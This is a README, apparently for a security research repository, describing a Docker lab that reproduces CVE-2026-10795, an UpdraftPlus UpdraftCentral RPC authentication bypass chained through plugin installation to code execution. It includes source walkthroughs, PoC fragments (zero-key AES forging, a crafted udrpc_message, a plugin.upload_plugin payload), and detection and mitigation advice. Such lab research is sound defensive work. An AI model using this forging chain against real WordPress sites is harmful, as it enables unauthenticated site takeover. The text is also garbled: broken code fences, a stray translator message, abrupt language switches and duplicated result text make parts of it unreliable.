
Laboratorio Docker que reproduce CVE-2026-10795: omisión de autenticación de UpdraftPlus UpdraftCentral encadenada a la instalación de complementos para RCE. Incluye objetivos vulnerables/parcheados, exploit PoC y recorrido a nivel de código fuente.
Este repositorio contiene un laboratorio Docker local para reproducir y validar CVE-2026-10795, una vulnerabilidad de omisión de autenticación no autenticada que afecta al plugin UpdraftPlus de WordPress a través de su capa de comunicación remota UpdraftCentral.
El comportamiento vulnerable existe en el flujo de manejo de mensajes RPC de UpdraftCentral. En las versiones vulnerables, un mensaje RPC falsificado con format=1 puede omitir la verificación de firma, activar una ruta fallida de descifrado RSA y aun así llegar al descifrado simétrico con un comportamiento predecible de clave nula/IV nulo. Esto permite que un mensaje RPC cifrado y manipulado sea aceptado y despachado como un comando de UpdraftCentral.
Este laboratorio compara dos versiones de UpdraftPlus:
| Servicio | Versión de UpdraftPlus | Propósito | URL |
|---|---|---|---|
vuln | 1.26.4 | Objetivo de comparación vulnerable | http://127.0.0.1:8081 |
patched | 1.26.5 | Objetivo de comparación parcheado | http://127.0.0.1:8082 |
La cadena demostrada es:```text Unauthenticated attacker → forged UpdraftCentral RPC request → format=1 signature verification bypass → failed RSA decrypt not rejected in vulnerable version → predictable zero-key/zero-IV decrypt path → forged JSON RPC command accepted → privileged UpdraftCentral command dispatch → plugin.upload_plugin → install and activate marker plugin → hard-coded /usr/bin/id proof endpoint
La vulnerabilidad principal es la omisión de autenticación. El laboratorio demuestra que la omisión puede encadenarse a un impacto de tipo RCE cuando está presente un estado de clave UpdraftCentral privilegiado, porque UpdraftCentral expone comandos legítimos de gestión de plugins que pueden instalar y activar plugins de WordPress.
No se trata de una vulnerabilidad directa de inyección de comandos. La prueba de ejecución de código proviene de abusar de la funcionalidad autenticada de instalación de plugins tras omitir el límite de autenticación RPC.
Este laboratorio está diseñado únicamente para investigación local controlada, comprensión a nivel de código fuente y demostración en portafolio.
## Datos verificados
| Afirmación | Evidencia | Cómo verificarlo en este laboratorio |
| --------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------- |
| UpdraftPlus 1.26.4 es vulnerable en este laboratorio. | El servicio vulnerable acepta un mensaje RPC falsificado con `format=1` y despacha `plugin.upload_plugin`. | Ejecuta `python3 poc/poc.py --url http://127.0.0.1:8081`. |
| UpdraftPlus 1.26.5 bloquea el mensaje falsificado en este laboratorio. | El servicio parcheado no devuelve un cuerpo de respuesta RPC y no despacha el comando falsificado. | Ejecuta `python3 poc/poc.py --url http://127.0.0.1:8082`. |
| El problema es una omisión de autenticación en la capa RPC de UpdraftCentral. | Una solicitud RPC falsificada sin autenticación puede llegar al despacho de comandos en la versión vulnerable. | Compara el comportamiento de `--ping` entre los puertos `8081` y `8082`. |
| El laboratorio no preinstala el plugin marcador. | La configuración solo instala WordPress, UpdraftPlus y un estado de clave UpdraftCentral local. | Comprueba `/wp-json/cve-lab/v1/id` antes de ejecutar el PoC. |
| El PoC instala el plugin marcador mediante RPC falsificado. | El PoC envía `plugin.upload_plugin` con una carga útil de plugin en ZIP en el campo de datos RPC. | Ejecuta el PoC y luego solicita `/wp-json/cve-lab/v1/id`. |
| El objetivo vulnerable alcanza un impacto de tipo RCE. | El plugin marcador expone un endpoint codificado que devuelve la salida de `/usr/bin/id`. | El objetivo vulnerable devuelve `uid=33(www-data) gid=33(www-data)`. |
| El objetivo parcheado no instala el plugin marcador. | El endpoint marcador devuelve `404 rest_no_route` en el servicio parcheado. | Ejecuta el PoC contra `http://127.0.0.1:8082`. |
| El laboratorio requiere un estado de clave UpdraftCentral. | El despacho de UpdraftCentral depende de una entrada de clave local y sus metadatos asociados. | Revisa `scripts/setup-wordpress.sh`. |
## Supuestos y desconocidos
Este laboratorio siembra intencionalmente un estado de clave UpdraftCentral local para reproducir una condición del sitio en la que se ha configurado el control remoto.
El estado de clave sembrado es un requisito previo del laboratorio, no la vulnerabilidad en sí. Permite que el laboratorio ejercite de forma consistente la ruta vulnerable de análisis y descifrado RPC.
El laboratorio no afirma que toda instalación de UpdraftPlus sea explotable de inmediato. La cadena demostrada depende de la presencia de una entrada de clave local de UpdraftCentral asociada a un usuario privilegiado de WordPress.
El laboratorio demuestra un impacto controlado de tipo RCE instalando un plugin marcador que expone un endpoint de prueba codificado con `/usr/bin/id`. No proporciona una shell web genérica, un parámetro arbitrario de ejecución de comandos, una reverse shell, un mecanismo de persistencia, robo de credenciales ni devoluciones de llamada externas.
El PoC está limitado a objetivos locales únicamente y rechaza nombres de host no locales por defecto.
## Resumen de la causa raíz
La causa raíz es una validación incorrecta de los mensajes RPC de UpdraftCentral en versiones vulnerables de UpdraftPlus.
El flujo RPC vulnerable acepta un mensaje con `format=1`. La ruta de `format=1` no requiere la misma verificación de firma que los formatos de mensaje más recientes.
El problema de alto nivel es:```text
format=1 message
→ signature verification is bypassed
→ RSA decrypt of the symmetric key can fail
→ failed decrypt result is not rejected
→ false is passed into the symmetric cipher as a key
→ phpseclib normalizes this into a predictable null key path
→ attacker-controlled encrypted JSON can decrypt successfully
→ command is dispatched
En el comportamiento vulnerable, el descifrado RSA puede devolver:```text false
En lugar de rechazar ese resultado de descifrado fallido, el flujo vulnerable continúa y pasa el valor a la capa de descifrado simétrico.
El patrón vulnerable efectivo es:```php
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
$decrypted = $rij->decrypt($ciphertext);
The problem is that $sym_key is not validated before it is used.
When $sym_key is false, the cipher setup follows a predictable null key/null IV behavior. This makes it possible to craft an encrypted RPC payload using a known zero key and zero IV.
The patched version adds a guard before the symmetric key is used:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }
Esto cambia el límite de confianza.
Antes del parche:```text
failed RSA decrypt result could still reach symmetric decrypt
Después del parche:```text failed RSA decrypt result is rejected before command dispatch
This is why the vulnerable service dispatches the forged RPC command, while the patched service does not.
## Why an Authentication Bypass Can Lead to Code Execution
CVE-2026-10795 is best described as an authentication bypass because the root flaw is in the RPC authentication and message verification layer.
However, after that authentication boundary is bypassed, the attacker-controlled RPC message can reach privileged UpdraftCentral commands.
One important command path is:```text
plugin.upload_plugin
Este comando forma parte de la funcionalidad de gestión de plugins de UpdraftCentral. Acepta un payload ZIP de plugin, lo escribe en una ubicación temporal, instala el plugin y lo activa cuando se solicita.
Por lo tanto, la cadena de impacto es:```text Authentication bypass → forged privileged RPC command → plugin upload through legitimate UpdraftCentral functionality → plugin installation → plugin activation → WordPress plugin code execution
Esto no es inyección de comandos.
El laboratorio demuestra la ejecución de código mediante la instalación de un plugin marcador que expone un único endpoint:```text
/wp-json/cve-lab/v1/id
El plugin marker no acepta un parámetro de comando. Solo se ejecuta:```text /usr/bin/id
Esto mantiene la prueba controlada y evita convertir el laboratorio en un shell web de propósito general.
## Resumen del parche de origen
El comportamiento relevante del parche es que la versión parcheada rechaza las claves simétricas no válidas antes de intentar descifrar el cuerpo del mensaje RPC.
La validación importante es:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
Esto evita el comportamiento de respaldo vulnerable en el que un resultado fallido de descifrado RSA puede convertirse en una ruta de clave simétrica predecible.
El resultado práctico es:```text UpdraftPlus 1.26.4 → forged format=1 RPC message reaches command dispatch
UpdraftPlus 1.26.5 → failed symmetric key validation stops the forged message → command dispatch is not reached
El laboratorio también valida el impacto posterior al apuntar a la ruta real del comando de carga del plugin UpdraftCentral.
El comportamiento relevante del comando es:```text
plugin.upload_plugin
→ base64 decode ZIP data
→ write temporary ZIP file
→ UpdraftCentral_Plugin_Upgrader->install()
→ activate_plugin()
La versión parcheada bloquea el mensaje falsificado antes de que se alcance esta ruta de comando.
Esta sección explica la ruta vulnerable a nivel de código fuente y asigna cada paso del PoC al comportamiento correspondiente de UpdraftPlus / UpdraftCentral.
El laboratorio no depende de una ruta de aplicación vulnerable falsa. El comportamiento vulnerable se alcanza a través del listener RPC real de UpdraftCentral y la ruta real de gestión de plugins de UpdraftCentral.
Las áreas importantes del código fuente son:```text vendor/team-updraft/common-libs/src/updraft-rpc/class-udrpc2.php central/bootstrap.php central/listener.php central/commands.php central/modules/plugin.php
### Creación del listener
La ruta RPC vulnerable comienza cuando WordPress recibe una solicitud POST que contiene:```text
udrpc_message
format
key_name
La biblioteca RPC registra un listener en wp_loaded de WordPress cuando esos campos POST existen.
Conceptualmente, el flujo es:```php if (!empty($_POST['udrpc_message']) && !empty($_POST['format'])) { add_action('wp_loaded', array($this, 'wp_loaded')); add_action('wp_loaded', array($this, 'wp_loaded_final'), 10000); }
Esto significa que el atacante no necesita conocer un endpoint REST especial ni una URL de administración. La solicitud RPC falsificada se envía como una solicitud POST normal a la raíz del sitio de WordPress.
El PoC envía:```text
POST /
format=1
key_name=0.central.updraftplus.com
udrpc_message=<crafted encrypted message>
La solicitud llega a la misma ruta de escucha utilizada por la comunicación remota legítima de UpdraftCentral.
UpdraftCentral almacena claves locales de control remoto en las opciones de WordPress. En este laboratorio, el script de configuración inicializa un estado de clave controlado tanto para los objetivos vulnerables como para los parcheados.
El nombre de clave relevante es:```text 0.central.updraftplus.com
Este formato es producido por la lógica de indicadores clave de UpdraftCentral:```php
private function indicator_name_from_index($index) {
return $index.'.central.updraftplus.com';
}
El listener solo continúa si el campo POST sin cifrar coincide con el indicador de clave esperado:```php if (empty($_POST['key_name']) || $_POST['key_name'] != $this->key_name_indicator) { return; }
El PoC, por lo tanto, establece:```python
KEY_NAME = "0.central.updraftplus.com"
Esto no es la vulnerabilidad. Es un prerrequisito de laboratorio que permite que la prueba ejercite la ruta vulnerable de análisis y descifrado RPC de forma reproducible.
UpdraftCentral admite formatos de mensaje. La distinción importante es:```text format=1 legacy path format=2 signed message path
En la ruta de código vulnerable, la verificación de firma solo se realiza cuando el formato es mayor o igual a 2:```php
if ($format >= 2) {
if (empty($_POST['signature'])) {
die;
}
if (!$this->key_remote) {
die;
}
if (!$this->verify_signature($udrpc_message, $_POST['signature'], $this->key_remote)) {
die;
}
}
Porque el PoC utiliza:```text format=1
este bloque de verificación de firma se omite.
Ese es el límite de la omisión de autenticación.
Un mensaje legítimo `format=2` debe incluir una firma válida. El mensaje falsificado `format=1` no necesita una, por lo que el mensaje controlado por el atacante puede continuar hacia la ruta de descifrado.
### Flujo de descifrado vulnerable
Tras las comprobaciones de formato y nombre de clave, el listener descifra el `udrpc_message` enviado.
El flujo de descifrado vulnerable en UpdraftPlus 1.26.4 es efectivamente:```php
$rsa->loadKey($this->key_local);
$sym_key = base64_decode($sym_key);
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
return $rij->decrypt($ciphertext);
El error está entre estas dos operaciones:```php $sym_key = $rsa->decrypt($sym_key); $rij->setKey($sym_key);
Si el descifrado RSA falla, `$rsa->decrypt()` puede devolver:```php
false
La versión vulnerable no rechaza ese valor antes de pasarlo a:```php $rij->setKey($sym_key);
La versión parcheada corrige esto añadiendo validación:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
Esta salvaguarda es el parche relevante para la seguridad. Evita que un resultado fallido de descifrado RSA llegue a la configuración del cifrado simétrico.
false se vuelve predecibleEl comportamiento vulnerable es peligroso porque setKey(false) no falla de forma segura en esta ruta de phpseclib.
El código del cifrado calcula la longitud de la clave a partir de la clave proporcionada:```php $this->setKeyLength(strlen($key) << 3); $this->key = $key;
Cuando `$key` es `false`, `strlen(false)` se comporta como un caso de clave de longitud cero.
La lógica de longitud de clave de Rijndael redondea tamaños de clave muy pequeños hacia arriba hasta una longitud mínima válida de clave:```php
case $length <= 128:
$this->key_length = 16;
break;
La configuración del cifrado rellena luego la clave y el IV con bytes nulos:```php $this->encryptIV = $this->decryptIV = str_pad(substr($this->iv, 0, $this->block_size), $this->block_size, "\0");
$this->key = str_pad(substr($this->key, 0, $this->key_length), $this->key_length, "\0");
Entonces el atacante puede modelar el comportamiento vulnerable de descifrado como:```text
AES/Rijndael-CBC
key = 16 null bytes
iv = 16 null bytes
Por eso el PoC puede cifrar un comando JSON RPC localmente y hacer que el objetivo vulnerable lo descifre correctamente.
La función de descifrado vulnerable espera que el mensaje cifrado contenga:```text 3 hex chars length of RSA-encrypted symmetric key, as base64 text N chars base64 RSA-encrypted symmetric key 16 hex chars length of ciphertext, as base64 text M chars base64 encrypted message body
El PoC construye esta estructura manualmente:```python
bad_sym_key_b64 = base64.b64encode(BAD_RSA_BLOCK).decode("ascii")
ciphertext_b64 = base64.b64encode(encrypted_inner_json).decode("ascii")
sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"
udrpc_message = f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
El bloque RSA es intencionalmente inválido:```python BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
En UpdraftPlus 1.26.4, ese bloque RSA no válido hace que el descifrado RSA falle, pero el fallo no se rechaza.
En UpdraftPlus 1.26.5, el resultado de descifrado fallido es rechazado por el nuevo guard y el mensaje forjado no llega al despacho de comandos.
### Mensaje JSON RPC interno
El mensaje interno cifrado es un comando JSON normal del estilo UpdraftCentral.
Para la validación de ping, el PoC usa:```json
{
"command": "ping",
"time": 1710000000,
"key_name": "0.central.updraftplus.com",
"rand": 123456
}
Para la prueba de ID predeterminada, el PoC utiliza:```json { "command": "plugin.upload_plugin", "time": 1710000000, "key_name": "0.central.updraftplus.com", "rand": 123456, "data": { "filename": "cve-2026-10795-id-marker.zip", "data": "", "activate": true } }
El `key_name` aparece tanto fuera como dentro del mensaje cifrado. El listener comprueba que ambos coinciden:```php
if (empty($udrpc_message['key_name']) || $_POST['key_name'] != $udrpc_message['key_name']) {
die;
}
Por eso el PoC debe incluir el mismo nombre de clave en ambos lugares.
Después de descifrar el mensaje, el listener lo analiza como JSON:```php $udrpc_message = json_decode($udrpc_message, true);
El mensaje debe contener un comando válido:```php
if (empty($udrpc_message) || !is_array($udrpc_message) || empty($udrpc_message['command']) || !is_string($udrpc_message['command'])) {
die;
}
También debe contener una marca de tiempo:```php if (empty($udrpc_message['time'])) { die; }
La marca de tiempo debe estar dentro de la ventana de reproducción permitida:```php
$time_difference = absint($udrpc_message['time'] - time());
if ($time_difference > $this->maximum_replay_time_difference) {
die;
}
El PoC, por lo tanto, establece el campo time interno a la hora actual.
Después de que el mensaje es descifrado y validado, UpdraftCentral despacha el comando.
Los comandos utilizan un formato de prefijo:```text .
Por ejemplo:```text
plugin.upload_plugin
Esto se convierte en:```text prefix = plugin method = upload_plugin
El listener resuelve la clase de comando a partir del prefijo y luego llama al método dinámicamente:```php
$msg = apply_filters(
'updraftcentral_listener_udrpc_action',
call_user_func(array($command_class, $command), $data, $extra_info),
$command_class,
$class_prefix,
$command,
$data,
$extra_info
);
Para el comando PoC:```text plugin.upload_plugin
el listener llama:```php
UpdraftCentral_Plugin_Commands::upload_plugin($data)
Esta es la razón por la que el PoC no necesita un sumidero de inyección de comandos directo. Alcanza un comando privilegiado legítimo de UpdraftCentral después de evadir el límite de autenticación RPC.
El listener puede establecer el usuario actual de WordPress a partir de los metadatos de la clave UpdraftCentral:```php if (!empty($extra_info['user_id'])) { wp_set_current_user($extra_info['user_id']); }
En este laboratorio, la clave sembrada tiene:```text
extra_info.user_id = 1
Eso simula una clave UpdraftCentral configurada asociada al usuario administrador creado durante la instalación de WordPress.
Esto importa porque la ruta de subida del plugin comprueba las capacidades de WordPress:```php if (!current_user_can('install_plugins') || !current_user_can('activate_plugins')) { $permission_error = true; }
Entonces, la evasión por sí sola lleva el comando falsificado a la capa RPC. Los metadatos de la clave sembrada determinan en qué contexto de usuario de WordPress se ejecuta el comando.
En este laboratorio, el comando se ejecuta en contexto de administrador porque la clave está asociada con el ID de usuario 1.
### Sumidero de carga de plugin
El método del comando es:```php
public function upload_plugin($params) {
return $this->process_chunk_upload($params, 'plugin');
}
El manejador de subida compartido espera los datos de subida del plugin:```text filename data activate
El PoC envía:```python
{
"filename": "cve-2026-10795-id-marker.zip",
"data": base64.b64encode(zip_bytes).decode("ascii"),
"activate": True,
}
El manejador de carga escribe el contenido del ZIP en un archivo temporal:```php $result = file_put_contents( $upload_dir.'/'.$filename, base64_decode($params['data']), FILE_APPEND | LOCK_EX );
Para una carga no fragmentada, la instalación procede inmediatamente:```php
$install_now = true;
El manejador luego construye una ruta ZIP:```php $zip_filepath = $upload_dir.'/'.$filename;
y lo instala utilizando el actualizador de plugins de UpdraftCentral:```php
$upgrader = new UpdraftCentral_Plugin_Upgrader($skin);
$install_result = $upgrader->install($zip_filepath);
Si la instalación se realiza correctamente y activate es verdadero, el código activa el plugin instalado:```php
if ((bool) $params['activate'] && !$is_active) {
$activate = activate_plugin($data['slug']);
}
Una respuesta de instalación exitosa contiene:```php
return $this->_response(
array(
'installed' => true,
'installed_data' => $data,
)
);
Esta es la razón a nivel de código fuente por la cual una omisión de autenticación RPC falsificada puede encadenarse con la instalación y activación de plugins de WordPress.
El plugin marcador es generado por el PoC en memoria. No está preinstalado por la configuración de Docker.
El ZIP generado contiene:```text cve-2026-10795-id-marker/ └── cve-2026-10795-id-marker.php
El complemento de marcadores registra una ruta REST:```text
/wp-json/cve-lab/v1/id
El endpoint devuelve:```text lab plugin proof uid gid user id_output
El único comando ejecutado por el plugin de marcadores está codificado de forma fija:```php
shell_exec('/usr/bin/id 2>&1');
No hay un parámetro cmd controlado por el usuario.
Esto es intencional. El laboratorio demuestra la ejecución de código de plugin evitando un web shell genérico.
El servicio parcheado recibe la misma solicitud forjada y tiene el mismo estado de clave con semilla.
La diferencia está en la protección de descifrado parcheada:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }
Debido a que el PoC suministra intencionalmente un bloque RSA inválido, la clave simétrica descifrada es inválida.
En UpdraftPlus 1.26.5, el mensaje falsificado se detiene antes del análisis JSON y antes del despacho de comandos.
Por lo tanto:```text
plugin.upload_plugin is never called
marker plugin is never installed
/wp-json/cve-lab/v1/id returns 404 rest_no_route
Este comportamiento corregido demuestra que el resultado del laboratorio depende de la ruta de código vulnerable de UpdraftPlus RPC, no del entorno Docker.
El PoC comienza rechazando objetivos no locales:```python allowed_hosts = {"127.0.0.1", "localhost", "::1"}
if host not in allowed_hosts: raise ValueError("Refusing non-local target")
Esto mantiene el script acotado al laboratorio Docker.
El PoC construye el mensaje RPC interno:```python
inner = {
"command": command,
"time": int(time.time()),
"key_name": KEY_NAME,
"rand": random.randint(1, 2_147_483_647),
}
Si se utiliza la prueba de ID predeterminada, el comando es:```python command = "plugin.upload_plugin"
y los datos son:```python
{
"filename": "cve-2026-10795-id-marker.zip",
"data": base64.b64encode(zip_bytes).decode("ascii"),
"activate": True,
}
El PoC luego cifra el JSON interno con el predecible estado de cifrado vulnerable:```python ZERO_KEY = b"\x00" * 16 ZERO_IV = b"\x00" * 16
cipher = AES.new(ZERO_KEY, AES.MODE_CBC, iv=ZERO_IV) ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
Esto coincide con la consecuencia vulnerable de pasar `false` a la configuración del cifrado simétrico.
El PoC utiliza intencionalmente un bloque RSA inválido:```python
BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
El udrpc_message resultante se construye en el mismo formato con prefijo de longitud que espera la función de descifrado RPC:```python
sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"
return f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
Finalmente, el PoC envía la solicitud RPC falsificada:```python
fields = {
"format": "1",
"key_name": KEY_NAME,
"udrpc_message": build_udrpc_message(command, data),
}
requests.post(target, data=fields, timeout=timeout)
En el objetivo vulnerable, la respuesta del servidor contiene un cuerpo de respuesta JSON válido de estilo RPC. El PoC lo trata como:```text RPC DISPATCHED
Después del envío, el PoC verifica el impacto solicitando el endpoint marcador:```text
GET /wp-json/cve-lab/v1/id
Si el plugin marker fue instalado y activado, el endpoint devuelve:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)
Esa salida demuestra que el mensaje RPC no autenticado falsificado llegó a una ruta privilegiada de instalación de plugins y activó el código de plugin proporcionado por el atacante dentro del laboratorio local.
## Lo que demuestra el laboratorio
Este laboratorio demuestra la siguiente cadena técnica:```text
1. UpdraftPlus 1.26.4 accepts a forged format=1 UpdraftCentral RPC message.
2. The forged message does not need a valid signature.
3. A failed RSA decrypt result is not rejected before symmetric decrypt.
4. The symmetric decrypt path becomes predictable enough to craft a valid JSON command.
5. The JSON command reaches UpdraftCentral command dispatch.
6. The dispatched command can call plugin.upload_plugin.
7. plugin.upload_plugin can install and activate a ZIP plugin.
8. Activated plugin code runs in the web server context.
9. UpdraftPlus 1.26.5 blocks the same forged message before dispatch.
El laboratorio no demuestra que cada instalación sea explotable sin requisitos previos.
El requisito previo necesario para esta demostración es:```text an existing UpdraftCentral local key state associated with a privileged WordPress user
La configuración de Docker crea ese requisito previo en ambos objetivos para que la diferencia entre el comportamiento vulnerable y el parcheado pueda probarse de manera justa.
## Arquitectura del laboratorio
El laboratorio ejecuta dos instalaciones de WordPress aisladas mediante Docker Compose.```text
.
├── docker-compose.yml
├── scripts/
│ └── setup-wordpress.sh
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── requirements.txt
├── README.md
└── .gitignore
Los dos servicios de WordPress ejecutan bases de datos separadas y versiones separadas de UpdraftPlus:
Servicios expuestos por defecto:```text Vulnerable target: http://127.0.0.1:8081 Patched target: http://127.0.0.1:8082
El proceso de configuración introduce el mismo estado de clave de UpdraftCentral en ambos servicios:```text
key_name: 0.central.updraftplus.com
extra_info.user_id: 1
Esto le da a ambos objetivos el mismo estado previo requerido. La diferencia de comportamiento proviene del código de UpdraftPlus vulnerable frente al parcheado, no de una configuración de laboratorio distinta.
requirements.txtDependencias de Python:```text requests urllib3<2 pycryptodome
La restricción `urllib3<2` evita advertencias relacionadas con LibreSSL en algunas compilaciones de Python para macOS.
## Inicio rápido
Empieza desde un estado de laboratorio limpio:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
Ver registros de configuración:```bash docker compose logs -f vuln_setup patched_setup
Indicadores de configuración esperados:```text
Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.4
Setup complete for CVE-2026-10795 vuln
No se proporcionó texto de entrada para traducir.```text Seeded UpdraftCentral key: 0.central.updraftplus.com Plugin updraftplus details: Status: Active Version: 1.26.5 Setup complete for CVE-2026-10795 patched
Comprueba los servicios en ejecución:```bash
docker compose ps
Crear y activar un entorno virtual de Python:```bash python3 -m venv venv source venv/bin/activate pip install -r requirements.txt
Ejecuta el ID proof predeterminado contra el objetivo vulnerable:```bash
python3 poc/poc.py --url http://127.0.0.1:8081
Ejecute la misma prueba contra el objetivo parcheado:```bash python3 poc/poc.py --url http://127.0.0.1:8082
El script requiere la opción `--url` intencionalmente. Esto obliga al probador a elegir el objetivo explícitamente en lugar de atacar automáticamente ambos servicios.
## Uso del PoC
Comportamiento por defecto:```bash
python3 poc/poc.py --url <local_target_url>
Ejemplo de objetivo vulnerable:```bash python3 poc/poc.py --url http://127.0.0.1:8081
Ejemplo de objetivo parcheado:```bash
python3 poc/poc.py --url http://127.0.0.1:8082
Validación opcional solo con ping:```bash python3 poc/poc.py --ping --url http://127.0.0.1:8081 python3 poc/poc.py --ping --url http://127.0.0.1:8082
Supported options:
| Option | Required | Purpose |
| ----------- | -------- | ------------------------------------------------------- |
| `--url` | Sí | URL del objetivo del laboratorio local |
| `--ping` | No | Ejecutar validación de ping falsificado inofensivo en lugar de la prueba de ID |
| `--timeout` | No | Tiempo de espera HTTP en segundos. Predeterminado: `15` |
Accepted target hosts:```text
127.0.0.1
localhost
::1
El PoC rechaza objetivos no locales por defecto.
El PoC se ejecuta desde la máquina host y envía peticiones HTTP a los servicios Docker expuestos.
La acción por defecto del PoC es la prueba de ID.
El flujo de alto nivel es:```text
El plugin de marcador no se almacena en el repositorio como un archivo de plugin independiente. Se genera en memoria por el PoC.
El comando RPC forjado es:```text
plugin.upload_plugin
Los datos RPC contienen:```text filename = cve-2026-10795-id-marker.zip data = base64(plugin_zip) activate = true
El PoC cifra el mensaje JSON RPC interno utilizando:```text
AES-CBC
key = 16 null bytes
iv = 16 null bytes
También incluye un bloque de clave simétrica cifrada con RSA intencionalmente no válido.
En la versión vulnerable, el fallo de descifrado RSA no se rechaza. El mensaje continúa hacia la ruta predecible de descifrado con clave nula y el comando falsificado se envía.
En la versión parcheada, la clave simétrica no válida se rechaza y el comando falsificado no se envía.
--pingLa opción --ping es una ayuda de depuración.
Solo valida la evasión criptográfica y el límite de despacho RPC. No sube un plugin ni ejecuta /usr/bin/id.
Use --ping cuando la prueba de identidad predeterminada no funcione y sea necesario aislar el fallo.
Si --ping falla, es probable que el problema ocurra antes de la ejecución del comando:```text
wrong key state
wrong key_name
message format issue
encryption mismatch
listener not active
patched behavior
Si `--ping` tiene éxito pero la prueba de ID falla, es probable que el problema esté después del envío:```text
plugin.upload_plugin data issue
ZIP plugin format issue
filesystem permission issue
plugin activation issue
REST endpoint registration issue
Comportamiento esperado del ping:```text 1.26.4 vulnerable target → PING DISPATCHED 1.26.5 patched target → PING NOT DISPATCHED
## Resultados Esperados
### Objetivo Vulnerable
Comando:```bash
python3 poc/poc.py --url http://127.0.0.1:8081
Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).
### Objetivo Parcheado
Comando:```bash
python3 poc/poc.py --url http://127.0.0.1:8082
Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).
## Comandos de verificación manual
Comprueba el estado del servicio:```bash
docker compose ps
Inspecciona los metadatos del servicio vulnerable:```bash curl -s http://127.0.0.1:8081/cve-lab-inspector.php | python3 -m json.tool
Inspecciona los metadatos del servicio parcheado:```bash
curl -s http://127.0.0.1:8082/cve-lab-inspector.php | python3 -m json.tool
Comprobar el estado del plugin en tiempo de ejecución:```bash curl -s 'http://127.0.0.1:8081/cve-lab-inspector.php?runtime=1' | python3 -m json.tool curl -s 'http://127.0.0.1:8082/cve-lab-inspector.php?runtime=1' | python3 -m json.tool
Ejecutar validación solo con ping:```bash
python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082
Prueba de ID de ejecución:```bash python3 poc/poc.py --url http://127.0.0.1:8081 python3 poc/poc.py --url http://127.0.0.1:8082
Comprueba el endpoint de marcador directamente después de ejecutar el PoC:```bash
curl -s http://127.0.0.1:8081/wp-json/cve-lab/v1/id | python3 -m json.tool
curl -s http://127.0.0.1:8082/wp-json/cve-lab/v1/id | python3 -m json.tool
Esperado:```text 8081 → marker endpoint exists and returns id output 8082 → marker endpoint returns 404 rest_no_route
Comprueba los plugins instalados dentro del contenedor vulnerable:```bash
docker compose exec -T vuln sh -lc \
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
Comprueba los plugins instalados dentro del contenedor parcheado:```bash
docker compose exec -T patched sh -lc
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
El servicio vulnerable debe contener el plugin marcador después de que se ejecute el PoC. El servicio parcheado no debería contenerlo.
## Impacto
Este laboratorio demuestra que un atacante no autenticado puede falsificar un mensaje RPC de UpdraftCentral que llega al despacho de comandos privilegiados en UpdraftPlus 1.26.4 cuando existe un estado de clave UpdraftCentral adecuado.
El impacto demostrado es de tipo RCE porque el comando RPC falsificado abusa de la funcionalidad legítima de gestión de plugins:```text
plugin.upload_plugin
→ install plugin ZIP
→ activate plugin
→ execute plugin code in the web server context
La prueba local muestra la ejecución como el usuario del servidor web:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)
La categoría de vulnerabilidad sigue siendo la omisión de autenticación. El resultado de la ejecución de código es un impacto encadenado mediante la instalación privilegiada de complementos de WordPress.
## Detección y monitoreo
Los indicadores potenciales incluyen solicitudes POST no autenticadas a la página principal de WordPress que contienen campos RPC de UpdraftCentral:```text
format
key_name
udrpc_message
signature
Características sospechosas:```text format=1 key_name ending with .central.updraftplus.com large udrpc_message value unexpected unauthenticated POST requests to / repeated RPC attempts with empty or unusual response bodies new unexpected plugin directories under wp-content/plugins new plugin activation events REST routes appearing unexpectedly after a suspicious request
Indicadores de laboratorio locales:```text
POST / with format=1 and udrpc_message
new plugin directory: wp-content/plugins/cve-2026-10795-id-marker
new REST route: /wp-json/cve-lab/v1/id
id output: uid=33(www-data)
Ideas de monitorización en producción:
udrpc_message.format=1 procedentes de fuentes no confiables.wp-content/plugins.Actualice UpdraftPlus a la versión 1.26.5 o posterior.
La versión parcheada rechaza las claves simétricas descifradas no válidas antes del descifrado simétrico y del envío de comandos.
Pasos de mitigación recomendados:
udrpc_message.La corrección más importante es ejecutar una versión parcheada de UpdraftPlus que rechace las claves simétricas no válidas antes del descifrado y el envío.
Detenga los contenedores y elimine las redes:```bash docker compose down --remove-orphans
Eliminar contenedores, redes y volúmenes:```bash
docker compose down -v --remove-orphans
Eliminar el entorno virtual de Python:```bash rm -rf venv
Elimina los archivos de evidencia locales si se crearon:```bash
rm -rf evidence/
Este laboratorio es únicamente para investigación de seguridad local y demostración controlada.
No ejecute el PoC contra sistemas que no le pertenezcan o para los que no tenga permiso explícito de pruebas.
